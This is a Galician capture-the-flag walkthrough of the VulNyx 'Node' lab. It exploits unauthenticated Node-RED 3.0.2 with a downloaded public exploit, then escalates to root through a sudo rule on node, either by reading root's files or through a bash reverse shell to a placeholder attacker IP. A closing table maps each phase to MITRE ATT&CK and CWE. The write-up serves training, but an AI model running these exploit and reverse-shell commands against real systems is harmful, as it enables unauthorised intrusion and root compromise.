Node

Máquina virtual Node

A máquina Node é moi interesante porque...

• Node-RED 3.0.2 sen autenticación
• RCE mediante exploit de GitHub
• Dúas opcións de escalada: lectura de ficheiros ou reverse shell
• Uso de require('child_process') en Node.js
• Abuso de node con sudo para executar código

Diagrama de ataque

Fase 1 — Recopilación

sudo arp-scan --interface=eth1 192.168.56.0/24
ping -c2 IP_VulNyx_Node -R # TTL ≃ 64 ⇒ GNU/Linux, TTL ≃ 128 ⇒ Microsoft Windows
sudo nmap -sS -Pn -T4 -p- -vvv --min-rate 5000 IP_VulNyx_Node # 1880
whatweb IP_VulNyx_Node:1880
curl -I IP_VulNyx_Node:1880

Fase 2 — Análise

# Porto 1880 → Node-RED framework
firefox http://IP_VulNyx_Node:1880 &

# No panel da dereita atopamos a versión: Node-RED 3.0.2
# Busca de exploits para Node-RED 3.0.2
# Exploit dispoñible: https://gist.github.com/qkaiser/79459c3cb5ea6e658701c7d203a8c297

# Descarga do exploit
wget https://gist.githubusercontent.com/qkaiser/79459c3cb5ea6e658701c7d203a8c297/raw/8966e4ee07400f16b92737161ca8df3cbfa37f91/noderedsh.py

# Preparación do exploit
chmod +x noderedsh.py

Fase 3 — Explotación

# Execución do exploit
./noderedsh.py http://IP_VulNyx_Node:1880
# [+] Node-RED does not require authentication.
# [+] Establishing RCE link ....

# Obtemos pseudo-shell como usuario dev
> id
# uid=1000(dev) gid=1000(dev) grupos=1000(dev)

> pwd
# /home/dev

> ls -lahtr
# -r-------- 1 dev  dev    33 may 16  2023 user.txt

> cat user.txt
# ⇒ Flag de usuario conseguida

Fase 4 — Post‑explotación

# Enumeración de permisos sudo
> sudo -l
# User dev may run the following commands on node:
#     (root) NOPASSWD: /usr/bin/node

# Consulta en GTFOBins(https://gtfobins.github.io/) para node
# Opción 1: Lectura da flag de root mediante node
> printf "require('child_process').execSync('cat /root/*.txt > /tmp/child_id.txt 2>&1');console.log('wrote /tmp/child_id.txt');" > /tmp/node_child_test.js
> sudo /usr/bin/node /tmp/node_child_test.js
# wrote /tmp/child_id.txt

> cat /tmp/child_id.txt
# ⇒ Flag de root conseguida

# Opción 2: Obtención de reverse shell como root
# No atacante preparamos listener
nc -nlvp 4443

# Xeración e execución de script de reverse shell
> printf "require('child_process').execSync('/bin/bash -c \"bash -i >& /dev/tcp/IP_Atacante/4443 0>&1\"',{stdio:'inherit'});" > /tmp/rev_bash2.js
> sudo /usr/bin/node /tmp/rev_bash2.js
# ⇒ Conseguimos reverse shell de root

# Verificación (na reverse shell)
whoami # root
cd /root
cat root.txt # ⇒ Flag de root conseguida

Correspondencia de fases → MITRE ATT&CK — VulNyx: Node

Fase	Acción / Resumo	Vector principal	MITRE ATT&CK (IDs)	CWE(s) (relevantes)
1. Recopilación	Descubrimento de host e servizos expostos	Scanning / descubrimento de servizos	T1595 — Active Scanning T1046 — Network Service Discovery	CWE-200 — Information Exposure (reconnaissance)
2. Análise	Identificación de Node-RED sen autenticación	Enumeración de aplicación vulnerable	T1190 — Exploit Public-Facing Application T1592 — Gather Victim Host Information	CWE-306 — Missing Authentication for Critical Function
3. Explotación	Explotación de Node-RED 3.0.2 mediante RCE	Remote Code Execution sen autenticación	T1190 — Exploit Public-Facing Application T1059.007 — Command and Scripting Interpreter: JavaScript	CWE-94 — Improper Control of Generation of Code
4. Post-explotación	Enumeración de permisos sudo	Discovery local	T1069 — Permission Groups Discovery T1083 — File and Directory Discovery	CWE-200 — Information Exposure
	Abuso de node con sudo para lectura de ficheiros privilexiados	Privilege escalation / file read	T1548.003 — Abuse Elevation Control Mechanism: Sudo and Sudo Caching T1005 — Data from Local System	CWE-269 — Improper Privilege Management
	Xeración e execución de reverse shell mediante node	Abuso de mecanismos de elevación	T1548.003 — Abuse Elevation Control Mechanism: Sudo and Sudo Caching T1059.007 — Command and Scripting Interpreter: JavaScript	CWE-269 — Improper Privilege Management; CWE-284 — Improper Access Control